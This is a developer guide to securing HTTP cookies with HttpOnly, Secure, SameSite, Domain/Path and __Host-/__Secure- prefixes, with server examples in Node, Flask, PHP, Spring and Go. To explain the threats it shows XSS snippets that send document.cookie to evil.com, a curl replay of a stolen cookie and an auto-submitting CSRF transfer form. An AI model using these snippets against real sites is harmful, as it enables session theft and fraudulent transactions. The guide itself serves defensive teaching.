Guide
Cookie Security: HttpOnly, SameSite, and Secure Flags
A comprehensive guide to understanding and implementing secure HTTP cookies to protect against XSS, CSRF, and session hijacking attacks.
On this page
- Introduction
- Why Cookie Security Matters
- Cookie Security Attributes
- HttpOnly
- Secure
- SameSite
- Domain
- Path
- Max-Age and Expires
- Common Cookie Attacks
- Cross-Site Scripting (XSS)
- Cross-Site Request Forgery (CSRF)
- Session Hijacking
- Cookie Theft via Subdomain Takeover
- Cookie Prefixes
- __Secure- Prefix
- __Host- Prefix
- Secure Cookie Configuration Examples
- Maximum Security (Banking, Healthcare, Admin)
- High Security (General Web Applications)
- Cross-Domain Integration (Widgets, OAuth)
- Remember Me Functionality
- Server Implementation Examples
- Node.js (Express)
- Python (Flask)
- PHP
- Java (Spring Boot)
- Go
- Real-World Security Scenarios
- Scenario 1: E-commerce Application
- Scenario 2: Banking Application
- Scenario 3: Multi-Domain SSO
- Scenario 4: Embedded Widget
- Troubleshooting Common Cookie Security Issues
- Issue 1: Cookies Not Being Sent
- Issue 2: SameSite=None Not Working
- Issue 3: Cookies Accessible to JavaScript (Security Risk)
- Issue 4: Cookie Not Persisting Across Browser Restarts
- Issue 5: __Host- or __Secure- Prefix Rejected
- Issue 6: CSRF Attacks Despite Cookie Security
- Debugging Checklist
- Best Practices Summary
- For All Applications
- Development vs Production
- Security Layers
- Related Resources
TL;DR: Set session cookies with
Secure(HTTPS only),HttpOnly(hidden from JavaScript) andSameSite=LaxorStrict(not sent on most cross-site requests). Leave outDomainso the cookie stays on the host that set it, or use the__Host-prefix to enforce all of that. When cookies go wrong, the attributes are usually to blame, not the value.
Cookies carry your users’ login state, and browsers attach them to requests automatically. That’s what makes them convenient, and it’s also why one loose attribute can turn an ordinary session cookie into an XSS, CSRF or session-leak problem.
Introduction
Cookies sit right where browser behavior meets server trust, which makes them one of the most security-sensitive parts of everyday web work. If you’ve ever stared at a cookie in DevTools while the login flow still breaks, you already know storing it is the easy part. The hard part is the rules for when the browser sends it, where it applies, and what browser policy allows.
What makes cookies security-critical?
- They often contain session identifiers that authenticate users
- They’re automatically sent with every request to their domain
- They can be accessed, modified, or stolen by malicious scripts
- They persist across browser sessions unless configured otherwise
- They can be transmitted across insecure connections if not protected
Common cookie security vulnerabilities:
1. Session hijacking - Attacker steals session cookie
2. Cross-Site Scripting (XSS) - Malicious script reads cookies
3. Cross-Site Request Forgery (CSRF) - Unwanted actions using cookies
4. Man-in-the-Middle (MITM) - Cookies intercepted over HTTP
5. Cookie theft - Cookies accessed from unintended domains
Why Cookie Security Matters
Leave the attributes to chance and a session gets easier to steal, replay or send somewhere you never intended. The browser is just following the rules you gave it. Usually those rules were too loose.
Without secure cookies (vulnerable):
// Script injected into yourbank.com through an XSS bug
document.location = 'https://evil.com/steal?cookie=' + document.cookie
// The attacker now replays the stolen cookie from their own machine
// (browsers won't let page scripts set a Cookie header), for example:
// curl -X POST https://yourbank.com/transfer \
// -H 'Cookie: session=stolen_cookie_value' \
// -H 'Content-Type: application/json' \
// -d '{"to":"attacker","amount":10000}'
With secure cookies (protected):
Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=Strict
With these attributes:
- JavaScript can’t read the cookie (HttpOnly)
- It never travels over plain HTTP (Secure)
- Most cross-site request forgery fails, because cross-site requests arrive without it (SameSite)
Cookie Security Attributes
A handful of attributes decide how browsers store a cookie, when they send it and who can read it. Get these right and most cookie attacks stop working.
HttpOnly
HttpOnly hides the cookie from JavaScript, so document.cookie can’t read it. That keeps an XSS bug from simply reading out the session token.
Setting HttpOnly:
Set-Cookie: session=abc123; HttpOnly
How it works:
// Without HttpOnly
document.cookie // "session=abc123; user_pref=dark_mode"
// With HttpOnly
document.cookie // "user_pref=dark_mode" (session cookie hidden)
When to use:
- Always for session tokens and authentication cookies
- Always for any cookie containing sensitive data
- Never for cookies that JavaScript needs to read (like preferences)
Example attack prevented:
// XSS attack - malicious script injected into page
fetch('https://evil.com/steal?cookie=' + document.cookie)
The browser keeps sending an HttpOnly cookie on normal HTTP requests; scripts just can’t read it. An attacker with XSS can make requests from the page, but can’t walk away with the token, which shrinks the blast radius of many XSS bugs.
Secure
Secure tells the browser to send the cookie only over HTTPS, so nobody can pick it up from an unencrypted connection.
Setting Secure:
Set-Cookie: session=abc123; Secure
How it works:
HTTP request → Cookie NOT sent (blocked by browser)
HTTPS request → Cookie sent normally
When to use:
- Always in production environments
- Always for authentication and session cookies
- Required when using
SameSite=None - Optional in local development over HTTP
Example attack prevented:
User connects to public WiFi at coffee shop
Without Secure attribute:
1. User visits http://example.com
2. Browser sends cookie over HTTP
3. Attacker sniffs network traffic
4. Attacker captures session cookie
5. Attacker uses cookie to impersonate user
With Secure attribute:
1. User visits http://example.com (redirects to HTTPS)
2. Browser only sends cookie over HTTPS (encrypted)
3. Attacker cannot read encrypted traffic
4. Session remains secure
SameSite
SameSite controls whether the cookie goes along on cross-site requests, which is your first line of defense against CSRF.
SameSite values:
Set-Cookie: session=abc123; SameSite=Strict
Set-Cookie: session=abc123; SameSite=Lax
Set-Cookie: session=abc123; SameSite=None; Secure
SameSite=Strict:
The tightest setting: the cookie only goes with same-site requests.
// User on https://app.example.com
fetch('https://api.example.com/data') // Cookie sent (same-site)
// User on https://other-site.com clicks link to example.com
// Cookie NOT sent (cross-site)
Use cases:
- Banking and financial applications
- Admin panels
- Any application where cross-site access is never needed
Limitations:
- Cookie not sent when navigating from external sites
- User appears logged out when arriving from search engines or email links
SameSite=Lax (Chromium’s default when SameSite is missing; Firefox and Safari don’t apply that default):
The cookie goes with same-site requests, plus top-level navigations that use safe methods like GET.
// Same-site request - Cookie sent
fetch('https://api.example.com/data')
// Top-level navigation (link click) - Cookie sent
<a href="https://app.example.com/dashboard">Dashboard</a>
// Cross-site POST from form - Cookie NOT sent
<form action="https://app.example.com/delete" method="POST">
// Cross-site fetch/XHR - Cookie NOT sent
fetch('https://app.example.com/api', { method: 'POST' })
Use cases:
- Most web applications (good default)
- Sites that need authentication from external links
- Balance between security and usability
SameSite=None:
The cookie goes with cross-site requests too. You must pair it with Secure.
Set-Cookie: widget_session=xyz789; SameSite=None; Secure
Use cases:
- Embedded widgets and iframes
- OAuth and SSO flows
- Third-party integrations
- Cross-domain API requests
Example CSRF attack prevented:
<!-- Attacker's site: evil.com -->
<html>
<body>
<!-- Malicious form that attempts CSRF -->
<form action="https://yourbank.com/transfer" method="POST" id="csrf">
<input type="hidden" name="to" value="attacker" />
<input type="hidden" name="amount" value="10000" />
</form>
<script>
document.getElementById('csrf').submit()
</script>
</body>
</html>
Without SameSite:
- Browser sends session cookie with POST request
- Bank processes transfer (thinks it’s legitimate user)
- Money transferred to attacker
With SameSite=Lax or Strict:
- Browser blocks cookie from being sent cross-site
- Bank sees unauthenticated request
- Transfer rejected
Domain
The Domain attribute specifies which hosts can receive the cookie.
Setting Domain:
# No Domain: host-only, sent only to the host that set it
Set-Cookie: session=abc123
# Cookie sent to example.com and all subdomains
# (a leading dot, as in Domain=.example.com, is ignored and means the same)
Set-Cookie: session=abc123; Domain=example.com
How it works:
Cookie: Domain=example.com
Sent to:
✓ example.com
✓ www.example.com
✓ api.example.com
✓ any.subdomain.example.com
NOT sent to:
✗ other-example.com
✗ example.org
Security implications:
# Narrower: app.example.com and its own subdomains
Set-Cookie: session=abc123; Domain=app.example.com
# Wider: every subdomain of example.com receives it
Set-Cookie: session=abc123; Domain=example.com
Best practices:
- Omit
Domainto keep the cookie on the exact host that set it (the tightest option) - Share with subdomains only when you really need to
- Once you set
Domain, every subdomain under it receives the cookie - Any subdomain can also set cookies for its parent domain
Example vulnerability:
Cookie set with: Domain=.example.com
Scenario:
1. User has session cookie for example.com
2. Attacker compromises subdomain: malicious.example.com
3. Attacker can read/modify session cookie
4. Attacker impersonates user on main domain
Path
Path limits the cookie to request URLs under a given path.
Setting Path:
Set-Cookie: session=abc123; Path=/
Set-Cookie: admin_session=xyz789; Path=/admin
Set-Cookie: api_token=def456; Path=/api
How it works:
Cookie: Path=/admin
Sent to:
✓ /admin
✓ /admin/users
✓ /admin/settings/profile
NOT sent to:
✗ /
✗ /public
✗ /api/users
Security implications:
# Less secure: Cookie sent to all paths
Set-Cookie: admin_token=secret; Path=/
# More secure: Cookie only sent to admin area
Set-Cookie: admin_token=secret; Path=/admin
Best practices:
- Use specific paths to limit cookie exposure
- Set
Path=/for general session cookies - Use specific paths like
/adminfor privileged cookies - Remember that Path provides minimal security (easily bypassed)
Important note: Path isn’t a security boundary. Script running on another path of the same origin can get at those cookies anyway. Use it to keep things tidy, not to protect anything.
Max-Age and Expires
These attributes control cookie lifetime and persistence.
Max-Age (preferred, takes precedence over Expires):
Set-Cookie: session=abc123; Max-Age=3600 # 1 hour
Set-Cookie: remember=xyz789; Max-Age=2592000 # 30 days
Set-Cookie: temp=abc; Max-Age=0 # Delete cookie immediately
Expires (older format, still widely supported):
Set-Cookie: session=abc123; Expires=Thu, 21 Oct 2027 07:28:00 GMT
Session vs Persistent cookies:
# Session cookie - discarded when the browser session ends (restored by session restore)
Set-Cookie: session=abc123; HttpOnly; Secure
# Persistent cookie - survives browser restart
Set-Cookie: remember=xyz789; Max-Age=2592000; HttpOnly; Secure
Security implications:
# High security: Short-lived session cookie
Set-Cookie: bank_session=abc123; Max-Age=900; HttpOnly; Secure; SameSite=Strict
# Expires after 15 minutes
# Moderate security: Longer-lived with "remember me"
Set-Cookie: app_session=xyz789; Max-Age=86400; HttpOnly; Secure; SameSite=Lax
# Expires after 24 hours
# Lower security risk: Non-sensitive preference
Set-Cookie: theme=dark; Max-Age=31536000
# Expires after 1 year
Best practices:
- Use shortest lifetime necessary for your use case
- Session cookies for sensitive operations (banking, admin)
- Longer-lived cookies only with user consent (“remember me”)
- Always provide a way to invalidate sessions server-side
- Consider idle timeout in addition to absolute timeout
Common Cookie Attacks
Knowing how each attack works tells you which attribute stops it.
Cross-Site Scripting (XSS)
XSS lets an attacker run their own script in your page, and that script can read any cookie JavaScript has access to.
Attack scenario:
// Vulnerable site with XSS
// User input not sanitized: <script>alert('XSS')</script>
// Attacker injects this script
<script>
// Steal all cookies
fetch('https://evil.com/steal?cookie=' + document.cookie)
</script>
How cookies are stolen:
// Without HttpOnly
document.cookie
// Returns: "session=abc123; user_id=42; preferences=dark_mode"
// Attacker sends to their server
new Image().src = 'https://evil.com/log?data=' + encodeURIComponent(document.cookie)
Protection:
# HttpOnly prevents JavaScript access
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
# Additional protection
Content-Security-Policy: default-src 'self'; script-src 'self'
Best practices:
- Always set
HttpOnlyon authentication cookies - Sanitize and validate all user input
- Use Content Security Policy (CSP)
- Escape output in HTML templates
- Use modern frameworks with built-in XSS protection
Cross-Site Request Forgery (CSRF)
CSRF gets a logged-in user’s browser to send a request they never meant to send, with their cookies riding along.
Attack scenario:
<!-- User logged into bank.com -->
<!-- Visits attacker's site evil.com -->
<html>
<body>
<h1>Click here for free prize!</h1>
<form action="https://bank.com/transfer" method="POST" id="csrf">
<input type="hidden" name="to" value="attacker" />
<input type="hidden" name="amount" value="10000" />
</form>
<script>
// Auto-submit form
document.getElementById('csrf').submit()
</script>
</body>
</html>
Without protection:
1. User authenticated to bank.com (has session cookie)
2. User visits evil.com
3. Evil.com submits form to bank.com
4. Browser automatically includes session cookie
5. Bank processes transfer (thinks it's legitimate)
6. Money stolen
Protection with SameSite:
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
# Browser blocks cookie from being sent cross-site
# Bank sees unauthenticated request
# Transfer rejected
Additional CSRF protections:
<!-- CSRF token in forms -->
<form action="/transfer" method="POST">
<input type="hidden" name="_csrf" value="random_token_here" />
<input name="to" value="recipient" />
<input name="amount" value="100" />
<button type="submit">Transfer</button>
</form>
// Server validates token
app.post('/transfer', (req, res) => {
if (req.body._csrf !== req.session.csrfToken) {
return res.status(403).json({ error: 'Invalid CSRF token' })
}
// Process transfer
})
Best practices:
- Use
SameSite=LaxorStrictfor session cookies - Implement CSRF tokens for state-changing operations
- Validate Origin and Referer headers
- Require re-authentication for sensitive actions
- Use custom headers for AJAX requests
Session Hijacking
Here the attacker gets hold of a session cookie and uses it to act as the user.
Attack vectors:
1. Network sniffing (Man-in-the-Middle):
User connects to http://example.com (no HTTPS)
Attacker on same network:
1. Sniffs network traffic
2. Captures cookie: session=abc123
3. Replays cookie in their browser
4. Gains access to user's account
Protection:
# Secure attribute forces HTTPS
Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=Strict
# Also use HSTS to force HTTPS
Strict-Transport-Security: max-age=31536000; includeSubDomains
2. XSS-based theft:
// Attacker injects script
<script>
fetch('https://evil.com/steal', {
method: 'POST',
body: document.cookie // Without HttpOnly, this works
})
</script>
Protection:
Set-Cookie: session=abc123; HttpOnly; Secure
3. Session fixation:
Attacker scenario:
1. Attacker gets session ID: session=attacker_known_id
2. Tricks victim into using this session ID
3. Victim logs in (session ID unchanged)
4. Attacker uses known session ID to access victim's account
Protection:
// Regenerate session ID on login
app.post('/login', async (req, res, next) => {
const user = await validateCredentials(req.body)
if (!user) return res.status(401).send('Invalid credentials')
// Regenerate session ID
req.session.regenerate((err) => {
if (err) return next(err)
req.session.userId = user.id
res.redirect('/dashboard')
})
})
Best practices:
- Always use HTTPS in production
- Set
Secureattribute on all sensitive cookies - Regenerate session IDs after authentication
- Implement session timeout and idle timeout
- Consider binding sessions to extra signals (IP, User-Agent), keeping in mind that mobile users change IP addresses often
- Provide logout functionality that invalidates sessions
Cookie Theft via Subdomain Takeover
Take over one of your subdomains and an attacker receives every cookie scoped to the parent domain.
Attack scenario:
Setup:
- Main app: app.example.com
- Cookie: session=abc123; Domain=.example.com
- Abandoned subdomain: old.example.com
Attack:
1. Attacker claims old.example.com (forgotten/expired)
2. Attacker sets up malicious site on old.example.com
3. User visits old.example.com
4. Browser sends session cookie (Domain=.example.com includes all subdomains)
5. Attacker steals cookie
6. Attacker uses cookie on app.example.com
Protection:
# Don't set Domain attribute (most restrictive)
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
# If you must use subdomains, be specific
Set-Cookie: session=abc123; Domain=app.example.com; HttpOnly; Secure
Additional protections:
- Regularly audit and remove unused subdomains
- Use CAA DNS records to control certificate issuance
- Monitor for unauthorized subdomain creation
- Use separate domains for untrusted content
- Consider cookie prefixes for additional security
Cookie Prefixes
Cookie name prefixes make the browser enforce security rules for you: a cookie whose name starts with one is rejected unless it meets the prefix’s requirements.
__Secure- Prefix
A __Secure- cookie must carry the Secure attribute and be set from an HTTPS origin.
Usage:
Set-Cookie: __Secure-session=abc123; Secure; Path=/
Requirements:
- Must include
Secureattribute - Must be set over HTTPS
- Cannot be set over HTTP
Rejected examples:
# Rejected: Missing Secure attribute
Set-Cookie: __Secure-session=abc123; Path=/
# Rejected: Sent over HTTP
HTTP/1.1 200 OK
Set-Cookie: __Secure-session=abc123; Secure; Path=/
Benefits:
// Prevents downgrade attacks
// Even if HTTP is somehow accessed, __Secure- cookies won't be sent
__Host- Prefix
__Host- is the strictest prefix. It locks the cookie to a single host.
Usage:
Set-Cookie: __Host-session=abc123; Secure; Path=/; HttpOnly; SameSite=Strict
Requirements:
- Must include
Secureattribute - Must be set over HTTPS
- Must NOT include
Domainattribute (restricts to exact domain) - Must have
Path=/
Benefits:
# Prevents subdomain attacks
Set-Cookie: __Host-session=abc123; Secure; Path=/
# This cookie can ONLY be:
# - Set by the exact domain (no subdomains)
# - Sent to the exact domain (no subdomains)
# - Transmitted over HTTPS
# - Available on all paths
Example comparison:
# Without prefix - vulnerable to subdomain attacks
Set-Cookie: session=abc123; Domain=.example.com; Secure
# With __Host- prefix - protected
Set-Cookie: __Host-session=abc123; Secure; Path=/
# Can only be set by and sent to exact domain
Best practices:
Use __Host- prefix for critical authentication cookies:
Set-Cookie: __Host-session=abc123; Secure; Path=/; HttpOnly; SameSite=Strict; Max-Age=3600
Secure Cookie Configuration Examples
Maximum Security (Banking, Healthcare, Admin)
Set-Cookie: __Host-session=abc123; Secure; Path=/; HttpOnly; SameSite=Strict; Max-Age=900
Explanation:
__Host-prefix: Strictest domain bindingSecure: HTTPS onlyPath=/: Available on all pathsHttpOnly: No JavaScript accessSameSite=Strict: No cross-site requestsMax-Age=900: 15-minute timeout
Server implementation (Node.js):
app.post('/login', (req, res) => {
if (validateCredentials(req.body)) {
const sessionId = generateSecureSessionId()
res.cookie('__Host-session', sessionId, {
secure: true,
httpOnly: true,
sameSite: 'strict',
maxAge: 900000, // 15 minutes in milliseconds
path: '/'
})
res.redirect('/dashboard')
}
})
High Security (General Web Applications)
Set-Cookie: __Secure-session=abc123; Secure; HttpOnly; SameSite=Lax; Max-Age=86400; Path=/
Explanation:
__Secure-prefix: Must be over HTTPSSecure: HTTPS onlyHttpOnly: No JavaScript accessSameSite=Lax: Allows top-level navigationMax-Age=86400: 24-hour timeoutPath=/: Available on all paths
Server implementation (Express):
const express = require('express')
const session = require('express-session')
app.use(
session({
name: '__Secure-session',
secret: process.env.SESSION_SECRET,
cookie: {
secure: true,
httpOnly: true,
sameSite: 'lax',
maxAge: 86400000 // 24 hours
},
resave: false,
saveUninitialized: false
})
)
Cross-Domain Integration (Widgets, OAuth)
Set-Cookie: widget_session=abc123; Secure; HttpOnly; SameSite=None; Max-Age=3600
Explanation:
- No prefix (needs cross-domain support)
Secure: Required with SameSite=NoneHttpOnly: Prevents JavaScript accessSameSite=None: Allows cross-site requestsMax-Age=3600: 1-hour timeout
Important: Reach for SameSite=None only when a real cross-site feature needs it.
Server implementation (OAuth callback):
app.get('/oauth/callback', (req, res) => {
const token = exchangeCodeForToken(req.query.code)
res.cookie('oauth_token', token, {
secure: true,
httpOnly: true,
sameSite: 'none', // Allows cross-site OAuth flow
maxAge: 3600000,
domain: '.example.com' // If needed for subdomains
})
res.redirect('/dashboard')
})
Remember Me Functionality
# Session cookie (short-lived)
Set-Cookie: __Host-session=abc123; Secure; HttpOnly; SameSite=Strict; Path=/
# Remember me token (long-lived)
Set-Cookie: __Secure-remember=xyz789; Secure; HttpOnly; SameSite=Strict; Max-Age=2592000; Path=/
Server implementation:
app.post('/login', async (req, res) => {
if (validateCredentials(req.body)) {
const sessionId = generateSecureSessionId()
// Session cookie
res.cookie('__Host-session', sessionId, {
secure: true,
httpOnly: true,
sameSite: 'strict',
path: '/'
// No Max-Age = session cookie
})
// Remember me token (if checkbox checked)
if (req.body.rememberMe) {
const rememberToken = await generateRememberToken(user.id)
res.cookie('__Secure-remember', rememberToken, {
secure: true,
httpOnly: true,
sameSite: 'strict',
maxAge: 2592000000, // 30 days
path: '/'
})
}
res.redirect('/dashboard')
}
})
// Middleware to restore session from remember token
app.use(async (req, res, next) => {
if (!req.cookies['__Host-session'] && req.cookies['__Secure-remember']) {
const userId = await validateRememberToken(req.cookies['__Secure-remember'])
if (userId) {
// Create new session
req.session.regenerate((err) => {
req.session.userId = userId
next()
})
} else {
// Invalid token, clear it
res.clearCookie('__Secure-remember', { path: '/', secure: true })
next()
}
} else {
next()
}
})
Server Implementation Examples
Node.js (Express)
Basic secure session:
const express = require('express')
const session = require('express-session')
const app = express()
app.use(
session({
name: '__Host-session',
secret: process.env.SESSION_SECRET,
cookie: {
secure: process.env.NODE_ENV === 'production',
httpOnly: true,
sameSite: 'strict',
maxAge: 3600000 // 1 hour
},
resave: false,
saveUninitialized: false
})
)
Custom cookie with all security attributes:
app.post('/login', (req, res) => {
if (validateUser(req.body)) {
// Set secure session cookie
res.cookie('__Host-session', generateSessionId(), {
secure: true,
httpOnly: true,
sameSite: 'strict',
maxAge: 3600000,
path: '/'
})
// Set user preferences (less sensitive)
res.cookie('preferences', JSON.stringify(user.preferences), {
secure: true,
sameSite: 'lax',
maxAge: 31536000000 // 1 year
})
res.json({ success: true })
}
})
// Logout - clear all cookies
app.post('/logout', (req, res) => {
res.clearCookie('__Host-session', { path: '/', secure: true })
res.clearCookie('preferences')
req.session.destroy()
res.redirect('/')
})
Python (Flask)
Basic secure session:
from flask import Flask, session, make_response
from datetime import timedelta
app = Flask(__name__)
app.secret_key = os.environ.get('SECRET_KEY')
# Session cookie configuration
app.config.update(
SESSION_COOKIE_SECURE=True,
SESSION_COOKIE_HTTPONLY=True,
SESSION_COOKIE_SAMESITE='Strict',
SESSION_COOKIE_NAME='__Host-session',
PERMANENT_SESSION_LIFETIME=timedelta(hours=1)
)
@app.route('/login', methods=['POST'])
def login():
if validate_credentials(request.form):
session['user_id'] = user.id
session.permanent = True
return redirect('/dashboard')
return 'Invalid credentials', 401
Custom cookie with security attributes:
from flask import Flask, make_response
from datetime import datetime, timedelta
@app.route('/login', methods=['POST'])
def login():
if validate_user(request.form):
response = make_response(redirect('/dashboard'))
# Secure session cookie
response.set_cookie(
'__Host-session',
value=generate_session_id(),
secure=True,
httponly=True,
samesite='Strict',
max_age=3600,
path='/'
)
# Remember me token
if request.form.get('remember_me'):
response.set_cookie(
'__Secure-remember',
value=generate_remember_token(),
secure=True,
httponly=True,
samesite='Strict',
max_age=2592000, # 30 days
path='/'
)
return response
@app.route('/logout', methods=['POST'])
def logout():
response = make_response(redirect('/'))
response.set_cookie('__Host-session', '', expires=0, secure=True, path='/')
response.set_cookie('__Secure-remember', '', expires=0, secure=True, path='/')
return response
PHP
Basic secure session:
<?php
// Start session with secure settings
session_name('__Host-session');
session_set_cookie_params([
'lifetime' => 3600,
'path' => '/',
'domain' => '',
'secure' => true,
'httponly' => true,
'samesite' => 'Strict'
]);
session_start();
// Login
if (validate_credentials($_POST)) {
session_regenerate_id(true);
$_SESSION['user_id'] = $user['id'];
header('Location: /dashboard');
}
?>
Custom cookie with security attributes:
<?php
// Set secure cookie
setcookie(
'__Host-session',
$session_id,
[
'expires' => time() + 3600,
'path' => '/',
'domain' => '',
'secure' => true,
'httponly' => true,
'samesite' => 'Strict'
]
);
// Remember me token
if (isset($_POST['remember_me'])) {
setcookie(
'__Secure-remember',
$remember_token,
[
'expires' => time() + 2592000, // 30 days
'path' => '/',
'domain' => '',
'secure' => true,
'httponly' => true,
'samesite' => 'Strict'
]
);
}
// Logout - delete cookies
setcookie('__Host-session', '', ['expires' => time() - 3600, 'path' => '/', 'secure' => true]);
setcookie('__Secure-remember', '', ['expires' => time() - 3600, 'path' => '/', 'secure' => true]);
?>
Java (Spring Boot)
Application configuration:
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.session.web.http.CookieSerializer;
import org.springframework.session.web.http.DefaultCookieSerializer;
@Configuration
public class SessionConfig {
@Bean
public CookieSerializer cookieSerializer() {
DefaultCookieSerializer serializer = new DefaultCookieSerializer();
serializer.setCookieName("__Host-session");
serializer.setCookiePath("/");
serializer.setUseSecureCookie(true);
serializer.setUseHttpOnlyCookie(true);
serializer.setSameSite("Strict");
serializer.setCookieMaxAge(3600); // 1 hour
return serializer;
}
}
Controller with custom cookies:
import org.springframework.web.bind.annotation.*;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletResponse;
@RestController
public class AuthController {
@PostMapping("/login")
public ResponseEntity<?> login(
@RequestBody LoginRequest request,
HttpServletResponse response) {
if (validateCredentials(request)) {
// Session cookie
Cookie sessionCookie = new Cookie("__Host-session", generateSessionId());
sessionCookie.setSecure(true);
sessionCookie.setHttpOnly(true);
sessionCookie.setPath("/");
sessionCookie.setMaxAge(3600);
response.addCookie(sessionCookie);
// Remember me token
if (request.isRememberMe()) {
Cookie rememberCookie = new Cookie("__Secure-remember", generateToken());
rememberCookie.setSecure(true);
rememberCookie.setHttpOnly(true);
rememberCookie.setPath("/");
rememberCookie.setMaxAge(2592000); // 30 days
response.addCookie(rememberCookie);
}
return ResponseEntity.ok().build();
}
return ResponseEntity.status(401).build();
}
@PostMapping("/logout")
public ResponseEntity<?> logout(HttpServletResponse response) {
Cookie sessionCookie = new Cookie("__Host-session", "");
sessionCookie.setMaxAge(0);
sessionCookie.setPath("/");
sessionCookie.setSecure(true);
response.addCookie(sessionCookie);
Cookie rememberCookie = new Cookie("__Secure-remember", "");
rememberCookie.setMaxAge(0);
rememberCookie.setPath("/");
rememberCookie.setSecure(true);
response.addCookie(rememberCookie);
return ResponseEntity.ok().build();
}
}
Go
Basic secure session:
package main
import (
"net/http"
"time"
)
func loginHandler(w http.ResponseWriter, r *http.Request) {
if validateCredentials(r.FormValue("username"), r.FormValue("password")) {
// Create secure session cookie
cookie := &http.Cookie{
Name: "__Host-session",
Value: generateSessionID(),
Path: "/",
MaxAge: 3600, // 1 hour
Secure: true,
HttpOnly: true,
SameSite: http.SameSiteStrictMode,
}
http.SetCookie(w, cookie)
http.Redirect(w, r, "/dashboard", http.StatusSeeOther)
}
}
func logoutHandler(w http.ResponseWriter, r *http.Request) {
// Delete session cookie
cookie := &http.Cookie{
Name: "__Host-session",
Value: "",
Path: "/",
MaxAge: -1,
Secure: true,
HttpOnly: true,
SameSite: http.SameSiteStrictMode,
}
http.SetCookie(w, cookie)
http.Redirect(w, r, "/", http.StatusSeeOther)
}
Advanced session management:
package main
import (
"crypto/rand"
"encoding/base64"
"net/http"
"time"
)
func generateSecureToken() (string, error) {
b := make([]byte, 32)
_, err := rand.Read(b)
if err != nil {
return "", err
}
return base64.URLEncoding.EncodeToString(b), nil
}
func setSecureSessionCookie(w http.ResponseWriter, sessionID string) {
cookie := &http.Cookie{
Name: "__Host-session",
Value: sessionID,
Path: "/",
MaxAge: 3600,
Secure: true,
HttpOnly: true,
SameSite: http.SameSiteStrictMode,
}
http.SetCookie(w, cookie)
}
func setRememberMeCookie(w http.ResponseWriter, token string) {
cookie := &http.Cookie{
Name: "__Secure-remember",
Value: token,
Path: "/",
MaxAge: 2592000, // 30 days
Secure: true,
HttpOnly: true,
SameSite: http.SameSiteStrictMode,
}
http.SetCookie(w, cookie)
}
func loginHandler(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
return
}
username := r.FormValue("username")
password := r.FormValue("password")
rememberMe := r.FormValue("remember_me") == "true"
if validateUser(username, password) {
sessionID, _ := generateSecureToken()
setSecureSessionCookie(w, sessionID)
if rememberMe {
token, _ := generateSecureToken()
setRememberMeCookie(w, token)
}
http.Redirect(w, r, "/dashboard", http.StatusSeeOther)
} else {
http.Error(w, "Invalid credentials", http.StatusUnauthorized)
}
}
Real-World Security Scenarios
Scenario 1: E-commerce Application
Requirements:
- User sessions must be highly secure
- Shopping cart should persist across visits
- Remember me functionality for convenience
Implementation:
// Session cookie - short-lived, strict security
res.cookie('__Host-session', sessionId, {
secure: true,
httpOnly: true,
sameSite: 'strict',
maxAge: 1800000 // 30 minutes
})
// Shopping cart - longer-lived, non-sensitive
res.cookie('__Secure-cart', cartId, {
secure: true,
httpOnly: true,
sameSite: 'lax',
maxAge: 604800000 // 7 days
})
// Remember me - long-lived, validated server-side
res.cookie('__Secure-remember', rememberToken, {
secure: true,
httpOnly: true,
sameSite: 'strict',
maxAge: 2592000000 // 30 days
})
Scenario 2: Banking Application
Requirements:
- Maximum security
- Short session timeout
- No cross-site requests
- Frequent re-authentication
Implementation:
// Ultra-secure session configuration
res.cookie('__Host-session', sessionId, {
secure: true,
httpOnly: true,
sameSite: 'strict',
maxAge: 600000 // 10 minutes only
})
// Sensitive action requires fresh authentication
app.post('/transfer', requireRecentAuth, (req, res) => {
const lastAuthTime = req.session.lastAuthTime
const fiveMinutesAgo = Date.now() - 300000
if (lastAuthTime < fiveMinutesAgo) {
return res.status(403).json({
error: 'Please re-authenticate for this action'
})
}
// Process transfer
})
// Re-authentication updates timestamp
app.post('/re-auth', (req, res) => {
if (validatePassword(req.body.password)) {
req.session.lastAuthTime = Date.now()
res.json({ success: true })
}
})
Scenario 3: Multi-Domain SSO
Requirements:
- Single sign-on across subdomains
- Secure token exchange
- Support for multiple applications
Implementation:
// Central auth domain: auth.example.com
app.post('/login', (req, res) => {
if (validateCredentials(req.body)) {
// Master session on auth domain
res.cookie('__Host-auth-session', masterSessionId, {
secure: true,
httpOnly: true,
sameSite: 'strict',
maxAge: 3600000
})
// SSO token for subdomain apps
const ssoToken = generateSSOToken(user.id)
// Redirect to app with token
res.redirect(`https://app.example.com/sso?token=${ssoToken}`)
}
})
// Application domain: app.example.com
app.get('/sso', async (req, res) => {
const ssoToken = req.query.token
// Validate token with auth service
const userId = await validateSSOToken(ssoToken)
if (userId) {
// Create session on app domain
res.cookie('__Host-app-session', generateSessionId(), {
secure: true,
httpOnly: true,
sameSite: 'strict',
maxAge: 3600000
})
res.redirect('/dashboard')
}
})
Scenario 4: Embedded Widget
Requirements:
- Widget embedded in third-party sites
- Cross-origin requests necessary
- Minimal security compromise
Implementation:
// Widget must use SameSite=None
app.post('/widget/init', (req, res) => {
res.cookie('widget_session', sessionId, {
secure: true,
httpOnly: true,
sameSite: 'none', // Required for cross-site embedding
maxAge: 3600000
})
res.json({ widgetId: 'abc123' })
})
// Additional security measures
app.use((req, res, next) => {
// Validate origin against whitelist
const origin = req.headers.origin
const allowedOrigins = getAllowedWidgetOrigins()
if (!allowedOrigins.includes(origin)) {
return res.status(403).json({ error: 'Origin not allowed' })
}
// Add CORS headers
res.header('Access-Control-Allow-Origin', origin)
res.header('Access-Control-Allow-Credentials', 'true')
next()
})
Troubleshooting Common Cookie Security Issues
Issue 1: Cookies Not Being Sent
Symptoms:
- Session appears lost on every request
- User logged out immediately after login
- Cookies visible in DevTools but not sent
Common causes and solutions:
Cause 1: Secure cookie on a plain HTTP page:
# Problem: page served over http:// (other than localhost)
# Browsers won't set or send a Secure cookie on an insecure origin
Set-Cookie: session=abc123; Secure; HttpOnly
# Solution: serve the site over HTTPS and keep Secure
